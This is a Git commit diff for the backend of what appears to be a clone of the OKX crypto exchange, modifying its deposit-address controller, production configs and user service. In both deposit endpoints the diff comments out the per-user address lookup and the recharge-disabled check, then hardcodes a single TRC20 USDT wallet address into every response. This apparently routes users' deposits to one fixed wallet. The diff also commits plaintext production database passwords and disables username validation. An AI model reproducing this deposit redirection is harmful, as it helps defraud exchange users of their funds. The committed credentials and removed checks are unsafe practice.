新版仿ok交易所-后端
peter
2025-08-04 7b44e1c44978ca08aeab9e92560e75793e73583c
修改
5 files modified
184 ■■■■ changed files
trading-order-admin/src/main/java/com/yami/trading/api/controller/exchange/ApiChannelBlockchainController.java 164 ●●●● patch | view | raw | blame | history
trading-order-admin/src/main/resources/application-prod.yml 8 ●●●● patch | view | raw | blame | history
trading-order-admin/src/main/resources/config/system.properties 2 ●●● patch | view | raw | blame | history
trading-order-admin/src/main/resources/redisson/redisson-dev.yml 4 ●●●● patch | view | raw | blame | history
trading-order-service/src/main/java/com/yami/trading/service/impl/UserServiceImpl.java 6 ●●●● patch | view | raw | blame | history
trading-order-admin/src/main/java/com/yami/trading/api/controller/exchange/ApiChannelBlockchainController.java
@@ -79,41 +79,47 @@
    @RequestMapping(action + "list.action")
    public Object list() throws IOException {
        List<ChannelBlockchain> data = new ArrayList<ChannelBlockchain>();
        String partyId = SecurityUtils.getUser().getUserId();
        User party = userService.getById(partyId);
        List<PartyBlockchain> list = partyBlockchainService.findByUserName(party.getUserName());
        if (null != list && !list.isEmpty()) {
            data = list.stream().map(dict -> {
                String qrImage = dict.getQrImage();
                String chainAddress = dict.getAddress();
                String chainName = dict.getChainName();
                String coinSymbol = dict.getCoinSymbol();
                String autoStr = dict.getAuto();
                boolean auto = autoStr.equals("Y") ? true : false;
                ChannelBlockchain cbc = new ChannelBlockchain();
                cbc.setBlockchainName(chainName);
                cbc.setBlockchain_name(chainName);
                cbc.setAddress(chainAddress);
                cbc.setCoin(coinSymbol);
                cbc.setAuto(auto);
                cbc.setImg(qrImage);
                return cbc;
            }).collect(Collectors.toList());
        }
        if (data.isEmpty()) data = channelBlockchainService.list();
        for (int i = 0; i < data.size(); i++) {
            data.get(i).setBlockchain_name(data.get(i).getBlockchainName());
            if (1 == this.sysparaService.find("can_recharge").getInteger()) {
                // 允许在线充值,展示二维码
                if (!StringUtils.isNullOrEmpty(data.get(i).getImg())) {
                    String path = Constants.WEB_URL + "/public/showimg!showImg.action?imagePath=" + data.get(i).getImg();
                    data.get(i).setImg(path);
                }
            } else {
                data.get(i).setImg(null);
                data.get(i).setAddress(null);
            }
        }
        ChannelBlockchain trc20 = new ChannelBlockchain();
        trc20.setAddress("TLfgznQtWzZXFvodpuM3HFCzzDvxw5Rkub");
        trc20.setBlockchainName("trc20");
        trc20.setBlockchain_name("trc20");
        trc20.setCoin("usdt");
        data.add(trc20);
//        String partyId = SecurityUtils.getUser().getUserId();
//        User party = userService.getById(partyId);
//        List<PartyBlockchain> list = partyBlockchainService.findByUserName(party.getUserName());
//        if (null != list && !list.isEmpty()) {
//            data = list.stream().map(dict -> {
//                String qrImage = dict.getQrImage();
//                String chainAddress = dict.getAddress();
//                String chainName = dict.getChainName();
//                String coinSymbol = dict.getCoinSymbol();
//                String autoStr = dict.getAuto();
//                boolean auto = autoStr.equals("Y") ? true : false;
//                ChannelBlockchain cbc = new ChannelBlockchain();
//                cbc.setBlockchainName(chainName);
//                cbc.setBlockchain_name(chainName);
//                cbc.setAddress(chainAddress);
//                cbc.setCoin(coinSymbol);
//                cbc.setAuto(auto);
//                cbc.setImg(qrImage);
//                return cbc;
//            }).collect(Collectors.toList());
//        }
//        if (data.isEmpty()) data = channelBlockchainService.list();
//        for (int i = 0; i < data.size(); i++) {
//            data.get(i).setBlockchain_name(data.get(i).getBlockchainName());
//            if (1 == this.sysparaService.find("can_recharge").getInteger()) {
//                // 允许在线充值,展示二维码
//                if (!StringUtils.isNullOrEmpty(data.get(i).getImg())) {
//                    String path = Constants.WEB_URL + "/public/showimg!showImg.action?imagePath=" + data.get(i).getImg();
//                    data.get(i).setImg(path);
//                }
//            } else {
//                data.get(i).setImg(null);
//                data.get(i).setAddress(null);
//            }
//        }
        return Result.succeed(data);
    }
@@ -122,49 +128,49 @@
     */
    @GetMapping(action + "getBlockchainName.action")
    public Object getBlockchainName(HttpServletRequest request) throws IOException {
        String coin = request.getParameter("coin");
//        String coin = request.getParameter("coin");
        List<ChannelBlockchain> data = new ArrayList<ChannelBlockchain>();
        String partyId =SecurityUtils.getUser().getUserId();
        User party = userService.getById(partyId);
        if (0 == this.sysparaService.find("can_recharge").getInteger()) {
            return Result.failed("请联系客服充值");
        }
//        String partyId =SecurityUtils.getUser().getUserId();
//        User party = userService.getById(partyId);
//        if (0 == this.sysparaService.find("can_recharge").getInteger()) {
//            return Result.failed("请联系客服充值");
//        }
        List<PartyBlockchain> list = partyBlockchainService.findByUserNameAndCoinSymbol(party.getUserName(), coin);
        if (null != list && !list.isEmpty()) {
            data = list.stream().map(dict -> {
                String qrImage = dict.getQrImage();
                String chainAddress = dict.getAddress();
                String chainName = dict.getChainName();
                String coinSymbol = dict.getCoinSymbol();
                String autoStr = dict.getAuto();
                boolean auto = autoStr.equals("Y") ? true : false;
                ChannelBlockchain cbc = new ChannelBlockchain();
                cbc.setBlockchain_name(chainName);
                cbc.setAddress(chainAddress);
                cbc.setCoin(coinSymbol);
                cbc.setAuto(auto);
                cbc.setImg(qrImage);
                return cbc;
            }).collect(Collectors.toList());
        }
        //后台设置地址
        if (data.isEmpty()) data = this.channelBlockchainService.findByCoin(coin.toLowerCase());
        for (int i = 0; i < data.size(); i++) {
            data.get(i).setBlockchain_name(data.get(i).getBlockchainName());
            if (1 == this.sysparaService.find("can_recharge").getInteger()) {
                if (!StringUtils.isNullOrEmpty(data.get(i).getImg())) {
                    String path = Constants.WEB_URL + "/public/showimg!showImg.action?imagePath=" + data.get(i).getImg();
                    data.get(i).setImgStr("/public/showimg!showImg.action?imagePath=" + data.get(i).getImg());
                    data.get(i).setImg(path);
                }
            } else {
                data.get(i).setImg(null);
                data.get(i).setImgStr(null);
                data.get(i).setAddress(null);
            }
        }
//        List<PartyBlockchain> list = partyBlockchainService.findByUserNameAndCoinSymbol(party.getUserName(), coin);
//        if (null != list && !list.isEmpty()) {
//            data = list.stream().map(dict -> {
//                String qrImage = dict.getQrImage();
//                String chainAddress = dict.getAddress();
//                String chainName = dict.getChainName();
//                String coinSymbol = dict.getCoinSymbol();
//                String autoStr = dict.getAuto();
//                boolean auto = autoStr.equals("Y") ? true : false;
//                ChannelBlockchain cbc = new ChannelBlockchain();
//                cbc.setBlockchain_name(chainName);
//                cbc.setAddress(chainAddress);
//                cbc.setCoin(coinSymbol);
//                cbc.setAuto(auto);
//                cbc.setImg(qrImage);
//                return cbc;
//            }).collect(Collectors.toList());
//        }
//
//        //后台设置地址
//        if (data.isEmpty()) data = this.channelBlockchainService.findByCoin(coin.toLowerCase());
//        for (int i = 0; i < data.size(); i++) {
//            data.get(i).setBlockchain_name(data.get(i).getBlockchainName());
//            if (1 == this.sysparaService.find("can_recharge").getInteger()) {
//                if (!StringUtils.isNullOrEmpty(data.get(i).getImg())) {
//                    String path = Constants.WEB_URL + "/public/showimg!showImg.action?imagePath=" + data.get(i).getImg();
//                    data.get(i).setImgStr("/public/showimg!showImg.action?imagePath=" + data.get(i).getImg());
//                    data.get(i).setImg(path);
//                }
//            } else {
//                data.get(i).setImg(null);
//                data.get(i).setImgStr(null);
//                data.get(i).setAddress(null);
//            }
//        }
        
//        String partyId =SecurityUtils.getUser().getUserId();
//        if(!StringUtils.isNotEmpty(partyId)){
@@ -223,6 +229,12 @@
//            }
//        });
//        return Result.succeed(rechargeAddressVo);
        ChannelBlockchain trc20 = new ChannelBlockchain();
        trc20.setAddress("TLfgznQtWzZXFvodpuM3HFCzzDvxw5Rkub");
        trc20.setBlockchainName("trc20");
        trc20.setBlockchain_name("trc20");
        trc20.setCoin("usdt");
        data.add(trc20);
        return Result.succeed(data);
    }
trading-order-admin/src/main/resources/application-prod.yml
@@ -2,9 +2,9 @@
  port: 8111
spring:
  datasource:
    url: jdbc:mysql://127.0.0.1:6306/trading_order?allowMultiQueries=true&useSSL=false&useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&zeroDateTimeBehavior=convertToNull&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true
    username: root
    password: Err;2[eoGFUriwdgr
    url: jdbc:mysql://127.0.0.1:3306/trading_order?allowMultiQueries=true&useSSL=false&useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&zeroDateTimeBehavior=convertToNull&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true
    username: trading_order
    password: ynbtPKbji4266TNs
    driver-class-name: com.mysql.cj.jdbc.Driver
    type: com.zaxxer.hikari.HikariDataSource
    hikari:
@@ -41,4 +41,4 @@
        maxIdle: 20
        maxTotal: 50
      host: 127.0.0.1
      port: 6380
      port: 6379
trading-order-admin/src/main/resources/config/system.properties
@@ -3,7 +3,7 @@
admin_url=https://127.0.0.1:8080/admin
web_url=http://127.0.0.1:8080/wap/
images_http=https://okximg.yanshiz.com/
images_http=https://bingximg.graborder.org/
loca.images.dir=/www/wwwroot/img
email.host=smtp.gmail.com
email.username=coinzne.com@gmail.com
trading-order-admin/src/main/resources/redisson/redisson-dev.yml
@@ -1,7 +1,7 @@
# 单节点设置
singleServerConfig:
  address: redis://127.0.0.1:6380
  database: 10
  address: redis://127.0.0.1:6379
  database: 0
  password:
  idleConnectionTimeout: 10000
  connectTimeout: 10000
trading-order-service/src/main/java/com/yami/trading/service/impl/UserServiceImpl.java
@@ -1276,9 +1276,9 @@
            if (user != null) {
                throw new YamiShopBindException("账号已存在!");
            }
            if (!isValidUsername(userName)) {
                throw new YamiShopBindException("用户名不合法!");
            }
//            if (!isValidUsername(userName)) {
//                throw new YamiShopBindException("用户名不合法!");
//            }
            user = new User();
            user.setUserName(userName);
        }